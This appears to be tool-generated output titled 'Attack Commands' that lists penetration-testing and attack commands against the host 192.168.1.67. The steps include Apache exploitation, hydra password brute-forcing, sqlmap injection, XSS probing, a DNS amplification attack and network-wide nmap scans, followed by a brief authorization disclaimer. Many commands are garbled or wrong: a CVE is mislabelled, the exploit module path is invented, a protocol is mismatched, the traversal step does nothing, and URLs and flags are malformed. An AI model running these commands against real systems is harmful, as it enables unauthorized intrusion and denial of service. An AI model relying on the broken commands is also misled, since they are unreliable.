Attack Commands

Generated by ShadowStrike

Table of Contents

Based on the nmap results, here are some potential attack vectors and commands to test them:

1. Exploit Apache HTTP Server vulnerabilities:

“ # Check for known Apache vulnerabilities nmap –script=http-vuln -p 80 192.168.1.67

1 Try to exploit CVE-2019-0221 (Apache Struts vulnerability)

python3 -m exploits.svn.apache.struts.CVE_2019_0221 192.168.1.67 80

2 Attempt to brute force Apache authentication

hydra -l admin -P /path/to/password/file -e ns rdp://192.168.1.67:80

2. Web application exploitation:

```
# Identify potentially vulnerable web applications
wappalyzer -b "http://192.168.1.67"

# Use Nikto  scan for common vulnerabilities
nikto -h ttp://192.168.1.67

# Try SQL injection attacks
sqlmap -u "http://192.168.1.67/" --dbs
```

3. Directory traversal attack:

“ # Try directory traversal python3 -c ‘import os; print(os.path.abspath(“.”))’ > /tmp/exploit.py python3 /tmp/exploit.py

4. Cross-site scripting (XSS):

```
# Test for XSS vulnerabilities
xssed -u "http://192.168.1.67"
```

5. DNS amplification attack:

“ # Set up DNS server (e.g., dnsmasq) dnsmasq –bind-interfaces –interface=eth0 –listen-interface=lo:53

3 Launch attack

python3 /path/to/dns_amplification_attack.py 192.168.1.67

6. Port scanning and enumeration:

``

```
# Perform deeper port scan
nmap -sV -p- open 192.168.1.67

# Identify service versions
nmap -sC -p- 192.168.1.67
```

7. Network enumeration:

“ # Gather network information nmap -sn 192.168.1.0/24

4 Find open ports on all hosts

nmap -p- oN all_ports.txt 192.168.1.0/24 “‘

Remember to always obtain proper authorization before attempting these attacks, and never perform unauthorized security testing without consent. These commands should only be run on systems you own or have explicit permission to test.